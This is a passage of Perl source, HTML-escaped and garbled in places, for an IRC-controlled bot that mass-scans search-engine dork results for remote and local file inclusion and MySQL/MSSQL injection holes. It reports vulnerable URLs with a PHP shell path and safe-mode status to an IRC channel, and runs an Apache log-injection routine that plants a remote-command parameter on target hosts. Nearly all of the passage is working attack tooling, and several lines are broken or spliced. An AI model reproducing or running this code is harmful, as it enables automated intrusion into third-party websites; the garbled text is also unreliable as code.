			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;YahOo&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		#####################################################################
<br />
		##############################[ MySQL ]##############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)7 Search Engine Loading ...&quot;);
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Bing Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;Bing&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Lycos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GoodSearch Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GoodSearch&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Yahoo Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;YahOo&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;sqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		#####################################################################
<br />
		##############################[ MSSQL ]##############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2BraVe15)7 Search Engine Loading ...&quot;);
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Bing Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;Bing&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Lycos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GoodSearch Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GoodSearch&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Yahoo Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$mssqlcmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;YahOo&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;mssqlscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### 
<br />
		##################################################################### Apache Log Injection
<br />
		if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					&amp;injectlog($1,$2);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		for(my $c=0; $c&lt;lines&gt;new(PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; &quot;tcp&quot;) ||
<br />
	die sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 &quot;.$host.&quot;:&quot;.$port.&quot;&quot;);
<br />
	print $sock &quot;GET /BraVe.UnderGrounD &quot;.$php.&quot; HTTP/1.1\r\n&quot;;
<br />
	print $sock &quot;Host: &quot;.$host.&quot;\r\n&quot;;
<br />
	print $sock &quot;Connection: close\r\n\r\n&quot;;
<br />
	close($sock);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12is Done ...&quot;);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12RCE Parameter  -&gt;3 c0li&quot;);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2ALI15)7 &quot;.$host.&quot; 12RCE Identifier -&gt;3 BraVe.UnderGrounD&quot;);
<br />
}
<br />

<br />
sub rfiscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;
<br />
	if ($engz =~ /GooGLe/) {
<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
	}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /Bing/) {
<br />
		my @Bing=&amp;Bing($dork);
<br />
		push(@total, @Bing);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	if ($engz =~ /GoodSearch/) {
<br />
		my @goodsearch=&amp;goodsearch($dork);
<br />
		push(@total, @goodsearch);
<br />
	}
<br />
	if ($engz =~ /YahOo/) {
<br />
		my @yahoo=&amp;yahoo($dork);
<br />
		push(@total, @yahoo);
<br />
	}
<br />
	my @clean=&amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni=scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$injector.&quot;?&quot;;
<br />
		my $vuln = &quot;http://&quot;.$target.&quot;12&quot;.$bugz.&quot;7&quot;.$phpshell.&quot;?&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if($re =~ /$rfi_result/ &amp;&amp; $re =~ /uid=/){
<br />
			os($xpl);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@6&quot;.$os.&quot;15)(7@3SAFEMODE-OFF15)&quot;);
<br />
		}
<br />
		elsif($re =~ /$rfi_result/)
<br />
		{
<br />
			os($xpl);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@6&quot;.$os.&quot;15)(7@4SAFEMODE-ON15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />
sub lfiscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;	
<br />
	if ($engz =~ /GooGLe/) {
<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
		}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /Bing/) {
<br />
		my @Bing=&amp;Bing($dork);
<br />
		push(@total, @Bing);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	if ($engz =~ /GoodSearch/) {
<br />
		my @goodsearch=&amp;goodsearch($dork);
<br />
		push(@total, @goodsearch);
<br />
	}
<br />
	if ($engz =~ /YahOo/) {
<br />
		my @yahoo=&amp;yahoo($dork);
<br />
		push(@total, @yahoo);
<br />
	}
<br />
	my @clean = &amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni=scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$lfi_test;
<br />
		my $vuln = &quot;http://&quot;.$target.&quot;12&quot;.$bugz.&quot;7&quot;.$lfi_test.&quot;&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if ($re  =~ /$lfi_output/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 &quot;.$vuln.&quot; 15(7@3BraVe15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />
sub sqlscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;
<br />
	if ($engz =~ /GooGLe/) {
<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
		}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /Bing/) {
<br />
		my @Bing=&amp;Bing($dork);
<br />
		push(@total, @Bing);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	if ($engz =~ /GoodSearch/) {
<br />
		my @goodsearch=&amp;goodsearch($dork);
<br />
		push(@total, @goodsearch);
<br />
	}
<br />
	if ($engz =~ /YahOo/) {
<br />
		my @yahoo=&amp;yahoo($dork);
<br />
		push(@total, @yahoo);
<br />
	}
<br />
	my @clean = &amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni = scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$sql_test;
<br />
		my $vuln = &quot;http://&quot;.$target.'&quot;12&quot;.$bugz.&quot;7[SQL]&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if ($re  =~ /$sql_output/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 &quot;.$vuln.&quot; 15(7@3BraVe15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />

<br />
sub mssqlscan() {
<br />
	my $engz = $_[0];
<br />
	my $bugz = $_[1];
<br />
	my $dork = $_[2];
<br />
	my $contatore = 0;
<br />
	if ($engz =~ /GooGLe/) {
<br />
		my @google=&amp;google($dork);
<br />
		push(@total, @google);
<br />
		}
<br />
	if ($engz =~ /AllTheWeb/) {
<br />
		my @alltheweb=&amp;alltheweb($dork);
<br />
		push(@total, @alltheweb);
<br />
	}
<br />
	if ($engz =~ /Bing/) {
<br />
		my @Bing=&amp;Bing($dork);
<br />
		push(@total, @Bing);
<br />
	}
<br />
	if ($engz =~ /ALtaViSTa/) {
<br />
		my @altavista=&amp;altavista($dork);
<br />
		push(@total, @altavista);
<br />
	}
<br />
	if ($engz =~ /AsK/) {
<br />
		my @ask=&amp;ask($dork);
<br />
		push(@total, @ask);
<br />
	}
<br />
	if ($engz =~ /UoL/) {
<br />
		my @uol=&amp;uol($dork);
<br />
		push(@total, @uol);
<br />
	}
<br />
	if ($engz =~ /LyCos/) {
<br />
		my @lycos=&amp;lycos($dork);
<br />
		push(@total, @lycos);
<br />
	}
<br />
	my @clean = &amp;calculate(@total);
<br />
	sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (&quot;.scalar(@total).&quot;)12 Clean:4 (&quot;.scalar(@clean).&quot;)&quot;);
<br />
	if (scalar(@clean) != 0) {
<br />
		sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork&quot;);
<br />
	}
<br />
	my $uni = scalar(@clean);
<br />
	foreach my $target (@clean)
<br />
	{
<br />
		$contatore++;
<br />
		if ($contatore==$uni-1){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork&quot;);
<br />
		}
<br />
		my $xpl  = &quot;http://&quot;.$target.$bugz.$sql_test;
<br />
		my $vuln = &quot;http://&quot;.$target.'&quot;12&quot;.$bugz.&quot;7[SQL]&quot;;
<br />
		my $re   = getcontent($xpl);
<br />
		if ($re  =~ /$mssql_output/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 &quot;.$vuln.&quot; 15(7@3BraVe15)&quot;);
<br />
		}
<br />
	}
<br />
}
<br />

<br />
sub os() {
<br />
	my $site = $_[0];
<br />
	my $re   = &amp;query($site);
<br />
	while ($re =~ m/&lt;br&gt;os:(.+?)&lt;br&gt;/g) {
<br />
		$os = $1;
<br />
		if ($1 =~ //) { $os = &quot;Unkn0wN&quot;; }
<br />
	}
<br />
}
<br />

<br />
sub response() {
<br />
    my $re = getcontent($injector);
<br />
    if ($re =~ /pZLNd8MwEITvg/) {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)12 « 3OK12 »&quot;);
<br />
    }
<br />
    else {
<br />
        sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)12 « 4JAH12 »&quot;);
<br />
    }
<br />
}
<br />

<br />
sub getcontent() {
<br />
    $url    = $_[0];
<br />
    my $req = HTTP::Request-&gt;new(GET =&gt; $url);
<br />
    my $ua  = LWP::UserAgent-&gt;new();
<br />
    $ua-&gt;timeout(5);
<br />
    my $response = $ua-&gt;request($req);
<br />
    return $response-&gt;content;
<br />
}
<br />

<br />
sub google(){
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    for ($b=0; $b&lt;=1000; $b+=100){
<br />
        my $Go=(&quot;http://www.google.com/search?q=&quot;.key($key).&quot;&amp;num=100&amp;filter=0&amp;start=&quot;.$b);
<br />
        my $Res=query($Go);
<br />
        while ($Res =~ m/&lt;a href=\&quot;?http:\/\/([^&gt;\&quot;]*)\//g){
<br />
            if ($1 !~ /google/){
<br />
                my $k=$1;
<br />
                my @grep=links($k);
<br />
                push(@lst,@grep);
<br />
            }
<br />
		}
<br />
	}
<br />
return @lst;
<br />
}
<br />

<br />
sub alltheweb() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    my $pg  = 0;
<br />
    for ($b=0; $b&lt;=1000; $b+=100) {
<br />
        my $all = (&quot;http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=&quot;.key($key).&quot;&amp;o=&quot;.$b);
<br />
        my $Res = query($all);
<br />
        while ( $Res =~ m/&lt;span&gt;http:\/\/(.+?)\&lt;/span&gt;/g ) {
<br />
            my $k = $1;
<br />
            $k =~ s/ //g;
<br />
            my @grep = links($k);
<br />
            push( @lst, @grep );
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub uol() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    for ($b=1; $b&lt;=1000; $b+=10) {
<br />
        my $UoL = (&quot;http://mundo.busca.uol.com.br/buscar.html?q=&quot;.key($key).&quot;&amp;start=&quot;.$b);
<br />
        my $Res = query($UoL);
<br />
        while ( $Res =~ m/&lt;a href=\&quot;http:\/\/([^&gt;\&quot;]*)/g ) {
<br />
            my $k = $1;
<br />
            if ( $k !~ /busca|uol|yahoo/ ) {
<br />
                my $k    = $1;
<br />
                my @grep = links($k);
<br />
                push( @lst, @grep );
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub Bing() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    for ($b=1; $b&lt;=1000; $b+=10) {
<br />
        my $bing = (&quot;http://www.bing.com/search?q=&quot;.key($key).&quot;&amp;filt=all&amp;first=&quot;.$b.&quot;&amp;FORM=PERE&quot;);
<br />
        my $Res = query($bing);
<br />
        while ( $Res =~ m/&lt;a href=\&quot;?http:\/\/([^&gt;\&quot;]*)\//g ) {
<br />
            if ( $1 !~ /msn|live|bing/ ) {
<br />
                my $k    = $1;
<br />
                my @grep = links($k);
<br />
                push( @lst, @grep );
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub altavista(){
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    for ($b=1; $b&lt;=1000; $b+=10){
<br />
        my $AlT=(&quot;http://it.altavista.com/web/results?itag=ody&amp;kgs=0&amp;kls=0&amp;dis=1&amp;q=&quot;.key($key).&quot;&amp;stq=&quot;.$b);
<br />
        my $Res=query($AlT);
<br />
        while ($Res=~m/&lt;span&gt;(.+?)\//g){
<br />
            if ($1 !~ /altavista/){
<br />
                my $k=$1;
<br />
                $k=~s/&lt;//g;
<br />
                $k=~s/ //g;
<br />
                my @grep=links($k);
<br />
                push(@lst,@grep);
<br />
            }
<br />
		}
<br />
	}
<br />
return @lst;
<br />
}
<br />

<br />
sub ask() {
<br />
    my @lst;
<br />
    my $key = $_[0];
<br />
    my $b   = 0;
<br />
    my $pg  = 0;
<br />
    for ($b=0; $b&lt;=1000; $b+=10) {
<br />
        my $Ask = (&quot;http://it.ask.com/web?q=&quot;.key($key).&quot;&amp;o=0&amp;l=dir&amp;qsrc=0&amp;qid=EE90DE6E8F5370F363A63EC61228D4FE&amp;dm=all&amp;page=&quot;.$b);
<br />
        my $Res = query($Ask);
<br />
        while ($Res =~ m/href=\&quot;http:\/\/(.+?)\&quot; onmousedown=/g) {
<br />
            if ($1 !~ /ask.com/){
<br />
				my $k = $1;
<br />
				my @grep = links($k);
<br />
				push( @lst, @grep );
<br />
			}
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub lycos() {
<br />
	my @lst;
<br />
	my $key = $_[0];
<br />
    my $b   = 0;
<br />
	for ($b=0; $b&lt;1000&gt;/g) {
<br />
            if ($1 !~ /lycos/){
<br />
                my $k = $1;
<br />
                my @grep = links($k);
<br />
                push(@lst, @grep);
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub goodsearch() {
<br />
	my @lst;
<br />
	my $key = $_[0];
<br />
    my $b   = 0;
<br />
	for ($b=1; $b&lt;=500; $b+=1) {
<br />
        my $goods = (&quot;http://www.goodsearch.com/search.aspx?keywords=&quot;.key($key).&quot;&amp;page=&quot;.$b.&quot;&amp;osmax=0&quot;);
<br />
        my $Res = query($goods);
<br />
        while ($Res =~ m/&lt;a&gt;http:\/\/(.*?)&lt;/a&gt;/g) {
<br />
            if ($2 !~ /goodsearch/){
<br />
                my $k = $2;
<br />
                my @grep = links($k);
<br />
                push(@lst, @grep);
<br />
            }
<br />
        }
<br />
    }
<br />
    return @lst;
<br />
}
<br />

<br />
sub yahoo() {
<br />
	my @lst;
<br />
	my $key = $_[0];
<br />
    my $b   = 0;
<br />
	for ($b=1; $b&lt;500&gt;new(PeerAddr =&gt; &quot;$host&quot;, PeerPort =&gt; &quot;80&quot;, Proto =&gt; &quot;tcp&quot;) or return;
<br />
